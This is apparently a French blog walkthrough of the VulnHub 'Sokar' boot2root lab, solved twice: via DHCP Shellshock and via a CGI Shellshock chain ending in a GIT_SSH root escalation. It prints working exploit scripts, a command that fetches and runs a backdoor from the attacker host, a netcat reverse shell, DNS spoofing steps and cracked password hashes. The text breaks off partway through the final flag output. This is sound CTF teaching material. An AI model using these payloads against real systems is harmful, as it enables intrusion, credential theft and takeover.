Après avoir résolu différentes partie du CySCA 2014, j’ai choisi de faire un break en m’orientant vers une compétition qui était alors organisée par VulnHub. Ce challenge baptisé Sokar est un boot2root, c’est-à-dire qu’il faut parvenir à obtenir les droits root sur la machine pour attraper le flag.
Kansas City Shuffle (la version courte)
Quand vous résolvez en une journée un CTF présenté comme une compétition difficile qui s’étend sur une période de 3 semaines, c’est généralement que vous avez fait un Kansas City Shuffle.
Ce n’était de toute évidence pas la façon dont les organisateurs pensaient que ce serait résolu du coup j’ai redonné une chance plus tard à Sokar pour suivre le vrai cheminement qui est plus intéressant, mais commençons d’abord par cette solution rapide.
Un scan Nmap rapide ne dévoile aucun port ouvert (le scan rapide ne teste que les ports les plus utilisés), tous les ports testés sont derrière un firewall :
1
2
3
4
5
6
7
8
9
# nmap -T4 192.168.1.63
Starting Nmap 6.47 ( http://nmap.org ) at 2015-02-17 22:15 CET
Nmap scan report for 192.168.1.63
Host is up (0.058s latency).
All 1000 scanned ports on 192.168.1.63 are filtered
MAC Address: E8:B1:FC:F1:F9:05 (Intel Corporate)
Nmap done: 1 IP address (1 host up) scanned in 60.13 seconds
Comme je n’ai pas eu plus de résultats avec les ports UDP je me suis dit que si je ne peux pas exploiter un serveur alors je peux peut-être exploiter un client.
Quand la VM se lance on observe un DHCP Discover partant de la VM tournant sur un système CentOS :
On remarque aussi qu’une fois que la machine a obtenu un bail DHCP elle fait des requêtes DNS concernant sokar
en utilisant le serveur DNS de Google (8.8.8.8).
Peut-être que des connexions intéressantes sont faites à destination de Sokar
donc essayons de les intercepter.
D’abord on va activer le routage sur notre machine :
1
echo 1 > /proc/sys/net/ipv4/ip_forward
Ensuite le traffic DNS qui passe par notre machine nous sera redirigé :
1
iptables -t nat -A PREROUTING -p udp --dport 53 -j REDIRECT --to-port 53
Tant qu’à faire, si on envoie des réponses autant qu’elles semblent provenir du serveur de destination initiale :
1
iptables -t nat -A POSTROUTING -j MASQUERADE
Vous devriez obtenir un état comme celui-ci :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# iptables -L -t nat
Chain PREROUTING (policy ACCEPT)
target prot opt source destination
REDIRECT udp -- anywhere anywhere udp dpt:domain redir ports 53
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Chain POSTROUTING (policy ACCEPT)
target prot opt source destination
MASQUERADE all -- anywhere anywhere
Maintenant on va utiliser Metasploit pour lancer un serveur DHCP parametric à notre avantage (car nous déclarant comme le routeur).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
msf > use auxiliary/server/dhcp
msf auxiliary(dhcp) > set DHCPIPSTART 192.168.1.62
DHCPIPSTART => 192.168.1.62
msf auxiliary(dhcp) > set DHCPIPEND 192.168.1.100
DHCPIPEND => 192.168.1.100
msf auxiliary(dhcp) > set NETMASK 255.255.255.0
NETMASK => 255.255.255.0
msf auxiliary(dhcp) > set ROUTER 192.168.1.3
ROUTER => 192.168.1.3
msf auxiliary(dhcp) > set SRVHOST 192.168.1.3
SRVHOST => 192.168.1.3
msf auxiliary(dhcp) > exploit
[*] Auxiliary module execution completed
msf auxiliary(dhcp) >
[*] Starting DHCP server...
On laisse le serveur DHCP en tache de fond et on lance un faux serveur DNS qui répondra par notre adresse pour le nom sokar
:
1
2
3
4
5
6
7
8
9
10
11
12
13
msf auxiliary(dhcp) > back
msf > use auxiliary/server/fakedns
msf auxiliary(fakedns) > set TARGETHOST 192.168.1.3
TARGETHOST => 192.168.1.3
msf auxiliary(fakedns) > set TARGETDOMAIN sokar
TARGETDOMAIN => sokar
msf auxiliary(fakedns) > set TARGETACTION FAKE
TARGETACTION => FAKE
msf auxiliary(fakedns) > exploit
[*] Auxiliary module execution completed
msf auxiliary(fakedns) >
[*] DNS server initializing
[*] DNS server started
Voilà, voilà… On reboot la VM et cette fois :
1
2
3
4
5
6
7
8
9
10
11
12
13
[*] 192.168.1.63:55310 - DNS - DNS target domain found: sokar
[*] 192.168.1.63:55310 - DNS - DNS target domain sokar faked
[*] 192.168.1.63:55310 - DNS - XID 14390 (IN::A sokar)
[*] 192.168.1.63:40661 - DNS - DNS target domain found: sokar
[*] 192.168.1.63:40661 - DNS - DNS target domain sokar faked
[*] 192.168.1.63:40661 - DNS - XID 59318 (IN::A sokar)
[*] 192.168.1.63:40661 - DNS - XID 61056 (IN::AAAA sokar, UNKNOWN IN::AAAA)
[*] 192.168.1.63:58504 - DNS - XID 16266 (IN::PTR 3.1.168.192.in-addr.arpa)
[*] 192.168.1.63:54839 - DNS - DNS target domain found: sokar
[*] 192.168.1.63:54839 - DNS - DNS target domain sokar faked
[*] 192.168.1.63:54839 - DNS - XID 28479 (IN::A sokar)
[*] 192.168.1.63:54839 - DNS - XID 45067 (IN::AAAA sokar, UNKNOWN IN::AAAA)
[*] 192.168.1.63:41065 - DNS - XID 55708 (IN::PTR 3.1.168.192.in-addr.arpa)
Tout se passe bien comme prévu… sauf qu’il n’y a pas de cocktail surprise :( Aucune autre connexion n’est tentée par la VM.
Puisqu’un client DHCP tourne sur la machine, j’ai choisi de m’orienter vers la faille Shellshock qui concerne aussi DHCP.
Après avoir mis fin au faux serveur DHCP je configure le module Metasploit qui nous intéresse :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
msf > use exploit/unix/dhcp/bash_environment
msf exploit(bash_environment) > set SRVHOST 192.168.1.3
SRVHOST => 192.168.1.3
msf exploit(bash_environment) > set ROUTER 192.168.1.3
ROUTER => 192.168.1.3
msf exploit(bash_environment) > set NETMASK 255.255.255.0
NETMASK => 255.255.255.0
msf exploit(bash_environment) > set DHCPIPSTART 192.168.1.62
DHCPIPSTART => 192.168.1.62
msf exploit(bash_environment) > set DHCPIPEND 192.168.1.100
DHCPIPEND => 192.168.1.10
msf exploit(bash_environment) > set payload cmd/unix/generic
payload => cmd/unix/generic
msf exploit(bash_environment) > set CMD "iptables -F; wget http://192.168.1.3:8000/tshd -O /tmp/tshd;chmod 755 /tmp/tshd;setsid /tmp/tshd"
CMD => iptables -F; wget http://192.168.1.3:8000/tshd -O /tmp/tshd;chmod 755 /tmp/tshd;setsid /tmp/tshd
Ici le payload consiste d’abord à supprimer les règles du pare-feu qui nous embêtent puis à lancer un serveur tshd
.
On aura préalablement mis en place un mini serveur HTTP pour que la victime récupère la backdoor.
Et devinez qui vient diner ce soir ?
1
2
3
$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.1.63 - - [17/Feb/2015 22:43:03] "GET /tshd HTTP/1.0" 200 -
Il faut attendre un peu avoir de pouvoir profiter de l’attaque, car comme on le voit dans la capture réseau l’exécution se fait via une tache cron :
Facile… mais sans grands intérêts.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ ./tsh 192.168.1.63
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1# cd /root
sh-4.1# ls
build.c flag
sh-4.1# cat flag
0 0
| |
____|___|____
0 |~ ~ ~ ~ ~ ~| 0
| | Happy | |
___|__|___________|___|__
|/\/\/\/\/\/\/\/\/\/\/\/|
0 | B i r t h d a y | 0
| |/\/\/\/\/\/\/\/\/\/\/\/| |
_|___|_______________________|___|__
|/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/|
| |
| V u l n H u b ! ! |
| ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ |
|___________________________________|
=====================================
| Congratulations on beating Sokar! |
| |
| Massive shoutout to g0tmi1k and |
| the entire community which makes |
| VulnHub possible! |
| |
| rasta_mouse (@_RastaMouse) |
=====================================
Au passage dans /root
on trouve le code C suivant qui va vous permettre de mieux comprendre l’autre solution :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <string.h>
void encryptDecrypt(char *input, char *output) {
char key[] = {'I'};
int i;
for(i = 0; i < strlen(input); i++) {
output[i] = input[i] ^ key[i % (sizeof(key)/sizeof(char))];
}
}
int main (int argc, char *argv[]) {
char baseStr[] = "f<:;f+ 'f. =i*%&',i::!sff;&&= :&\"(;d-,?sf;&&=f:,*;,=d9;&#,*=if$'=f:,*;,=d9;&#,*=f";
char a[2];
char b[2] = "Y";
printf("Build? (Y/N) ");
gets(a);
if( strcmp(a,b) == 0) {
char encrypted[strlen(baseStr)];
encryptDecrypt(baseStr, encrypted);
setreuid(0, 0);
system(encrypted);
}
else
printf("OK :(\n");
}
Regular hellflip (plus c’est long, plus c’est bon)
On n’est pas des manches, on se relève les manches !
Un scan plus complet nous révèle l’existence d’un port TCP :
1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -p1-65535 -T4 192.168.1.63
Starting Nmap 6.40 ( http://nmap.org ) at 2015-02-23 11:48 CET
Nmap scan report for 192.168.1.63
Host is up (0.00043s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE
591/tcp open http-alt
MAC Address: 08:00:27:F2:40:DB (Cadmus Computer Systems)
Nmap done: 1 IP address (1 host up) scanned in 584.82 seconds
Pas grand-chose à voir sur le site mis à part la présence d’un CGI en iframe :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ curl -I http://192.168.1.63:591/
HTTP/1.1 200 OK
Date: Mon, 23 Feb 2015 12:50:25 GMT
Server: Apache/2.2.15 (CentOS)
Last-Modified: Sat, 15 Nov 2014 12:06:36 GMT
ETag: "8f11-f4-507e493c95a58"
Accept-Ranges: bytes
Content-Length: 244
Connection: close
Content-Type: text/html; charset=UTF-8
<html>
<head>
<title>System Stats</title>
</head>
<div align="center">
<body bgcolor="#ff9999">
<h2>Sokar Inc.</h2>
<h4>Internal Stats</h4>
<br />
<iframe frameborder=0 width=800 height=600 src="/cgi-bin/cat"></iframe>
</div>
</body>
</html>
La page du CGI affiche une série de lignes qui proviennent de toute évidence de commandes Unix.
CGI ? Et si on retentait notre chance avec Shellshock (c’est à la mode), cette fois en mode web :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ./bin/wapiti http://192.168.1.63:591/ -m shellshock
Wapiti-2.3.0 (wapiti.sourceforge.net)
Note
========
Le scan a été sauvegardé dans le fichier /home/devloop/.wapiti/scans/192.168.1.63_591.xml
Vous pouvez l'utiliser pour lancer de futures attaques sans avoir à relancer le scan via le paramètre "-k"
[*] Chargement des modules :
mod_crlf, mod_exec, mod_file, mod_sql, mod_xss, mod_backup, mod_htaccess, mod_blindsql, mod_permanentxss, mod_nikto, mod_delay, mod_buster, mod_shellshock
[+] Lancement du module shellshock
URL http://192.168.1.63:591/cgi-bin/cat seems vulnerable to Shellshock attack !
Rapport
------
Un rapport a été généré dans le fichier /home/devloop/.wapiti/generated_report
Ouvrez /home/devloop/.wapiti/generated_report/index.html dans un navigateur pour voir ce rapport.
Le module Shellshock que j’ai écrit pour Wapiti (version de dév dispo via SVN) a trouvé une faille.
En jouant un peu avec la vulnérabilité, on remarque que la variable d’environnement PATH est très importante dans l’exploitation. Par exemple si on lance which wget
en ayant spécifié le chemin complet de which
:
1
/usr/bin/which: no wget in ((null))
Partant là-dessus j’ai écrit l’exploit suivant :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import sys
empty_func = "() { :;}; "
url = sys.argv[1]
while True:
inject = raw_input("$ ")
if inject.strip() == "exit":
break
cmd = "echo; echo; PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin " + inject + ";"
hdrs = {"user-agent": empty_func + cmd}
r = requests.get(url, headers=hdrs)
print r.content
J’ai privilégié cette technique, car contrairement à la solution précédente, on ne peut pas se débarrasser facilement du firewall qui bloque aussi le trafic sortant (quoique l’on verra plus tard ;-) )
L’exploit permet d’avoir une simili-invite de commande et s’utilise de cette façon :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ python xploit.py http://192.168.1.63:591/cgi-bin/cat
$ ls -alR /home
/home:
total 16
drwxr-xr-x. 4 root root 4096 Dec 30 19:20 .
dr-xr-xr-x. 22 root root 4096 Feb 23 10:45 ..
drwx------ 2 apophis apophis 4096 Jan 2 20:12 apophis
drwxrwxrwx. 2 bynarr bynarr 4096 Feb 23 14:33 bynarr
/home/bynarr:
total 112
drwxrwxrwx. 2 bynarr bynarr 4096 Feb 23 14:33 .
drwxr-xr-x. 4 root root 4096 Dec 30 19:20 ..
-rw-------. 1 bynarr bynarr 0 Jan 27 19:30 .bash_history
-rw-r--r--. 1 bynarr bynarr 18 Feb 21 2013 .bash_logout
-rw-r--r--. 1 bynarr bynarr 178 Nov 12 14:26 .bash_profile
-rw-r--r--. 1 bynarr bynarr 124 Feb 21 2013 .bashrc
-rwxr-xr-x 1 root root 368 Jan 27 19:14 lime
-rw------- 1 root root 10728 Nov 13 11:45 lime.ko
L’utilisateur bynarr
n’est pas très regardant quant aux droits d’accès sur son répertoire personnel.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ find / -user apophis
/mnt
/home/apophis
/var/spool/mail/apophis
$ find / -user bynarr
/home/bynarr
/home/bynarr/.bash_logout
/home/bynarr/.bashrc
/home/bynarr/.bash_profile
/home/bynarr/.bash_history
/tmp/stats
/var/spool/mail/bynarr
$ id bynarr
uid=500(bynarr) gid=501(bynarr) groups=501(bynarr),500(forensic)
Intéressant, bynarr
a un module kernel (qu’on ne peut pas lire) dans son home et est membre d’un groupe baptisé forensic
(on devine à quoi on va toucher plus tard).
Dans le fichier stats
appartenant à l’utilisateur, on trouve l’output des commandes utilisées par le CGI :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ cat /tmp/stats
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 1 192.168.1.63:55465 192.168.1.3:32 SYN_SENT
tcp 0 0 :::591 :::* LISTEN
tcp 0 0 ::ffff:192.168.1.63:591 ::ffff:192.168.1.3:43160 TIME_WAIT
tcp 0 0 ::ffff:192.168.1.63:591 ::ffff:192.168.1.3:43161 TIME_WAIT
tcp 0 0 ::ffff:192.168.1.63:591 ::ffff:192.168.1.3:43158 TIME_WAIT
tcp 0 0 ::ffff:192.168.1.63:591 ::ffff:192.168.1.3:43159 TIME_WAIT
udp 0 0 0.0.0.0:68 0.0.0.0:*
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 2 [ ACC ] STREAM LISTENING 7013 @/com/ubuntu/upstart
unix 3 [ ] DGRAM 8334 /dev/log
unix 2 [ ] DGRAM 7156 @/org/kernel/udev/udevd
unix 2 [ ] DGRAM 8499
unix 3 [ ] DGRAM 7172
unix 3 [ ] DGRAM 7171
Linux 2.6.32-504.1.3.el6.x86_64 (sokar) 02/23/2015 _x86_64_ (1 CPU)
avg-cpu: %user %nice %system %iowait %steal %idle
0.02 0.00 0.07 0.01 0.00 99.89
Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn
sda 0.95 10.44 5.98 142210 81368
sdb 0.03 0.20 0.00 2700 0
À la fin du fichier, on trouve ce qui semble être l’output de la commande iostat
.
Que se passe-t-il si on place le programme mount
à l’emplacement /home/bynarr/iostat
(on fait la supposition que iostat
n’est pas appelé via son chemin absolu) ?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ cat /tmp/stats
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 1 192.168.1.63:60266 192.168.1.3:33 SYN_SENT
tcp 0 0 :::591 :::* LISTEN
tcp 0 0 ::ffff:192.168.1.63:591 ::ffff:192.168.1.3:43167 TIME_WAIT
tcp 0 0 ::ffff:192.168.1.63:591 ::ffff:192.168.1.3:43163 TIME_WAIT
tcp 0 0 ::ffff:192.168.1.63:591 ::ffff:192.168.1.3:43164 TIME_WAIT
tcp 0 0 ::ffff:192.168.1.63:591 ::ffff:192.168.1.3:43162 TIME_WAIT
tcp 0 0 ::ffff:192.168.1.63:591 ::ffff:192.168.1.3:43165 TIME_WAIT
tcp 0 0 ::ffff:192.168.1.63:591 ::ffff:192.168.1.3:43166 TIME_WAIT
udp 0 0 0.0.0.0:68 0.0.0.0:*
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 2 [ ACC ] STREAM LISTENING 7013 @/com/ubuntu/upstart
unix 3 [ ] DGRAM 8334 /dev/log
unix 2 [ ] DGRAM 7156 @/org/kernel/udev/udevd
unix 2 [ ] DGRAM 8499
unix 3 [ ] DGRAM 7172
unix 3 [ ] DGRAM 7171
/dev/sda1 on / type ext4 (rw)
proc on /proc type proc (rw)
sysfs on /sys type sysfs (rw)
devpts on /dev/pts type devpts (rw,gid=5,mode=620)
tmpfs on /dev/shm type tmpfs (rw)
/dev/sdb1 on /mnt type vfat (rw,uid=501,gid=502)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)
Bingo ! Nos commandes sont bien exécutées en tant que bynarr
via un mécanisme de tache planifiée.
Voyons si on peut aller plus loin :
1
2
3
4
$ echo "#!/bin/bash" > /tmp/attack
$ echo "chmod o+r /var/spool/mail/bynarr" >> /tmp/attack
$ echo "sudo -l" >> /tmp/attack
$ cp /tmp/attack /home/bynarr/iostat
Une nouvelle piste s’ouvre à nous…
1
2
3
4
5
6
7
8
9
10
11
Matching Defaults entries for bynarr on this host:
!requiretty, visiblepw, always_set_home, env_reset, env_keep="COLORS
DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User bynarr may run the following commands on this host:
(ALL) NOPASSWD: /home/bynarr/lime
On est autorisés à lancer le script /home/bynarr/lime
avec les droits de l’utilisateur root.
Évidemment ce script n’est pas écrasable (il ne faut pas rêver).
Il s’avère que LiME est un module kernel permettant de dumper la mémoire vive.
Le script a le contenu suivant :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash
echo """
==========================
Linux Memory Extractorator
==========================
"
echo "LKM, add or remove?"
echo -en "> "
read -e input
if [ $input == "add" ]; then
/sbin/insmod /home/bynarr/lime.ko "path=/tmp/ram format=raw"
elif [ $input == "remove" ]; then
/sbin/rmmod lime
else
echo "Invalid input, burn in the fires of Netu!"
fi
Il faut parvenir à le faire exécuter en sachant qu’il lit l’action choisie sur l’entrée standard :
1
2
3
$ echo "#!/bin/bash" > /tmp/attack
$ echo 'if [ ! -f /tmp/ram ]; then echo add | sudo /home/bynarr/lime; fi' >> /tmp/attack
$ cp /tmp/attack /home/bynarr/iostat
On voit le fichier /tmp/ram
apparaître et grossir pour atteindre sa taille définitive :
1
2
3
$ ls -lh /tmp/ram
-r--r--r-- 1 root root 256M Feb 23 15:04 /tmp/ram
Après avoir compressé le dump réduit à 40Mo on peut le récupérer assez facilement en exploitant shellshock directement via curl :
1
curl -A '() { :;}; echo; echo; /usr/bin/base64 /tmp/ram.tar.bz2;' http://192.168.1.63:591/cgi-bin/cat > out
Dans le dump on trouve notamment l’entrée crontab qui explique la faille :
1
Feb 23 13:48:01 sokar CROND[4167]: (bynarr) CMD (/bin/bash -l -c 'source ~/.bash_profile; /bin/netstat -an 2>&1 > /tmp/stats; printf "\n" >> /tmp/stats; iostat 2>&1 >> /tmp/stats' > /dev/null)
Et en cherchant les caractères $6$
on trouve deux hashs :
1
2
$6$ZEMP4rDiYsxlJz4h$boaXcV1Jn5o7VVI0REPHzSFUfYYjugTKez9SuMAGj68dhiUsNEJWBcM19mHMfqm6L422ePhAnRj.irCccHtPU1:::::::
$6$UVZfMym7$9FFtl9Ky3ABFGErQlpQsKNOmAycJn4MlSRVHsSgVupDstQOifqqu3LvGwf3wmBvmfvh0IslwMo4/mhZ3qnVrM/:::::::
Via John The Ripper j’ai pu en casser un qui s’avère appartenir… à bynarr
(U m4d br0?)
1
bynarr:fruity:::::::
Au passage je note que le fichier /etc/resolv.conf est world-writable :
1
2
3
4
5
$ find /etc -writable
/etc/resolv.conf
$ cat /etc/resolv.conf
nameserver 8.8.8.8
Petit aparté pour vous indiquer que j’ai essayé d’utiliser Volatility pour analyser le dump ram en suivant la procédure de compilation basée sur dwarfdump
qui est quasi incompilable et qui nécessite de disposer des sources / entêtes du kernel et tout le tralala….
Le masochisme à ses limites… PLUS JAMAIS ! JAMAIS ! rire maniaque avec les orbites vides
Du coup j’ai plutôt choisi de provoquer le chargement en mémoire du /etc/shadow
en appelant sudo de cette façon avant de décharger / recharger le module LiME :
1
echo test | sudo -S -u apophis id
Et cette fois la pêche est bonne :
1
2
3
root:$6$cWQYjirZ$rADNjUFSiHmYp.UVdt4WYlmALhMXdkg9//9yuodQ2TFfiEWlAO0J6PRKesEfvu.3dfDb.7gTGgl/jesvFWs7l0:16434:0:99999:7:::
bynarr:$6$UVZfMym7$9FFtl9Ky3ABFGErQlpQsKNOmAycJn4MlSRVHsSgVupDstQOifqqu3LvGwf3wmBvmfvh0IslwMo4/mhZ3qnVrM/:16434:0:99999:7:::
apophis:$6$0HQCZwUJ$rYYSk9SeqtbKv3aEe3kz/RQdpcka8K.2NGpPveVrE5qpkgSLTtE.Hvg0egWYcaeTYau11ahsRAWRDdT8jPltH.:16434:0:99999:7:::
Le mot de passe d’apophis
(overdrive
) se casse facilement avec la wordlist de RockYou.
Pour m’aider dans mes aventures Sokariennes j’ai écrit le programme suivant permettant d’uploader un fichier via Shellshock :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import sys
from base64 import b64encode as b64
fd = open(sys.argv[1])
def do_cmd(cmd):
empty_func = "() { :;}; echo; echo; PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin "
hdrs = {"user-agent": empty_func + cmd + ";"}
r = requests.get("http://192.168.1.63:591/cgi-bin/cat", headers=hdrs)
do_cmd("rm /tmp/temp_data.txt")
while True:
buff = fd.read(57)
if not buff:
break
data = b64(buff)
cmd = "echo {0} >> {1}".format(data, "/tmp/temp_data.txt")
do_cmd(cmd)
do_cmd("base64 -d /tmp/temp_data.txt > /tmp/out")
fd.close()
Et j’ai aussi écrit un script Python qui lance des commandes en tant que apophis
via su dans un pseudo-terminal :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pty
import os
import sys
cmd = " ".join(sys.argv[1:])
child_pid, child_fd = pty.fork()
if not child_pid: # child process
os.execv("/bin/su", ["su", "-c", cmd + ";echo END", "apophis"])
else:
buff = os.read(child_fd, 1000)
os.write(child_fd, "overdrive\n")
s = ""
while not s.endswith("END"):
s += os.read(child_fd, 1)
print s
Et le miracle s’accomplit :
1
2
3
4
5
6
7
8
9
10
11
12
$ python /tmp/do_su.py ls -alR /home/apophis
/home/apophis:
total 32
drwx------ 2 apophis apophis 4096 Jan 2 20:12 .
drwxr-xr-x. 4 root root 4096 Dec 30 19:20 ..
-rw------- 1 apophis apophis 0 Jan 15 21:15 .bash_history
-rw-r--r-- 1 apophis apophis 18 Feb 21 2013 .bash_logout
-rw-r--r-- 1 apophis apophis 176 Feb 21 2013 .bash_profile
-rw-r--r-- 1 apophis apophis 124 Feb 21 2013 .bashrc
-rwsr-sr-x 1 root root 8430 Jan 2 17:49 build
END
Next-step : le binaire build qui est setuid root :)
Après avoir modifié les droits d’accès sur le home d’apophis (de ?) j’ai récupéré le binaire build
via la même technique que pour le dump mémoire.
Le binaire correspond au fait au code C vu sur la première solution. Ce dernier utilise la fonction gets()
bien connue pour être dangereuse, mais la randomisation de la pile, le fait que l’on est sur un système 64bits et la présence de canaries sur la pile rendent l’exploitation impraticable… Il faut voir ailleurs.
1
2
3
4
5
6
7
8
9
10
11
12
13
$ ltrace -s 256 ./build
__libc_start_main([ "./build" ] <unfinished ...>
__printf_chk(1, 0x7fe39e1ebb6c, 0x7fff43049ef8, 0) = 13
__gets_chk(0x7fff43049de0, 2, 13, 0xfbad2a84Build? (Y/N) Y
) = 0x7fff43049de0
strcmp("Y", "Y") = 0
setreuid(0, 0) = -1
system("/usr/bin/git clone ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/"fatal: impossible de créer le répertoire de la copie de travail '/mnt/secret-project'.: Permission non accordée
<no return ...>
--- SIGCHLD (Le processus fils a terminé) ---
<... system resumed> ) = 32768
__cxa_finalize(0x7fe39e3ebc78, 0, 3, 1) = 0x7fe39dfc4070
+++ exited (status 0) +++
Et ailleurs, c’est visiblement git, car c’est ce qu’il se cache derrière la chaîne C que l’on avait vu sous forme obfusquée.
Entre temps, un éclair de lucidité (ou de génie, n’ayons pas peur des mots :D ) m’a poussé à utiliser IPv6 pour passer le firewall.
Netcat est installé sur la machine, mais la version ne dispose pas de l’option -e
, il faut donc créer un tube nommé (une fifo selon William Shakespeare) :
1
2
mkfifo /tmp/f
cat /tmp/f|/bin/sh -i 2>&1|/usr/bin/nc -6 fe80::ca60:ff:fec9:52af%eth0 9999 >/tmp/f
Et côté attaquant on lance nonchalamment ncat, le couteau suisse du 21ᵉ siècle :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ ncat -6 -l -v 9999
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Connection from fe80::a00:27ff:fef2:40db.
Ncat: Connection from fe80::a00:27ff:fef2:40db:59170.
sh: no job control in this shell
sh-4.1$ export PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin
<sr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin
sh-4.1$ which python
which python
/usr/bin/python
sh-4.1$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
bash-4.1$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-4.1$ su apophis
su apophis
Password: overdrive
[apophis@sokar bynarr]$ id
id
uid=501(apophis) gid=502(apophis) groups=502(apophis)
Déjà on a un shell qui sans être extra est plus réaliste :)
Comme la commande git clone
cherche à contacter un serveur baptisé sokar-dev
on va profiter de l’accès en écriture à resolv.conf
pour nous définir comme serveur DNS :
1
2
nameserver fe80::ca60:ff:fec9:52af
nameserver 192.168.0.3
J’ai remarqué que pour que la résolution fonctionne il faut mettre une adresse IPv6 ET une adresse IPv4…
Et enfin via dnschef
on répond à chaque requête DNS avec notre adresse IP (ici seuls les enregistrements A et AAAA nous intéressent).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# python dnschef.py -6 -i ::0 --fakeip 192.168.1.3 --fakeipv6 fe80::ca60:ff:fec9:52af --logfile=blah
_ _ __
| | version 0.3 | | / _|
__| |_ __ ___ ___| |__ ___| |_
/ _` | '_ \/ __|/ __| '_ \ / _ \ _|
| (_| | | | \__ \ (__| | | | __/ |
\__,_|_| |_|___/\___|_| |_|\___|_|
iphelix@thesprawl.org
[*] Using IPv6 mode.
[*] DNSChef started on interface: ::0
[*] Using the following nameservers: 2001:4860:4860::8888
[*] Cooking all A replies to point to 192.168.1.3
[*] Cooking all AAAA replies to point to fe80::ca60:ff:fec9:52af
[18:50:31] ::ffff:192.168.1.63: cooking the response of type 'A' for sokar-dev to 192.168.1.3
[18:50:32] ::ffff:192.168.1.63: cooking the response of type 'AAAA' for sokar-dev to fe80::ca60:ff:fec9:52af
La résolution fonctionne, encore faut-il pouvoir faire quelque chose d’intéressant avec le dépôt git que l’on aura préalablement créé.
Les permissions setuid sur les fichiers sont droppées lors du git-clone et l’info sur le propriétaire initial aussi, sans doute à cause des options de montage de /mnt
.
En fouillant dans la page de manuel de git
et git-clone
j’ai relevé des variables d’environnement potentiellement attaquables : GIT_TEMPLATE_DIR
, GIT_EXEC_PATH
, GIT_SSH
et GIT_ASKPASS
.
L’idée derrière GIT_EXEC_PATH
était de faire une copie de /usr/lib/git/
et de mettre un faux git-clone
dans la copie du dossier… Sans résultat. La variable GIT_ASKPASS
permet de spécifier une commande qui aurait dû se lancer lors de la saisie des identifiants SSH… mais ça n’a pas marché non plus.
En revanche avec GIT_SSH
on parvient à exécuter nos commandes (notre script ne doit pas générer d’output, car git le lance via un pipe et analyse la sortie). Autre avantage : la commande s’exécute même si on n’a pas créé de dépôt auparavant.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
[apophis@sokar ~]$ echo '#!/bin/bash' > cmd
[apophis@sokar ~]$ echo 'cp /root/flag* /tmp' >> cmd
[apophis@sokar ~]$ echo 'chmod 777 /tmp/flag*' >> cmd
[apophis@sokar ~]$ GIT_SSH=/home/apophis/cmd ./build
GIT_SSH=/home/apophis/cmd ./build
Build? (Y/N) Y
Y
Cloning into '/mnt/secret-project'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
[apophis@sokar ~]$ cat /tmp/flag
cat /tmp/flag
0 0
| |
____|___|____
0 |~ ~ ~ ~ ~ ~| 0
| | Happy | |
___|__|___________|___|__
|/\/\/\/\/\/\/\/\/\/\/\/|
0 | B i r t h d a y | 0
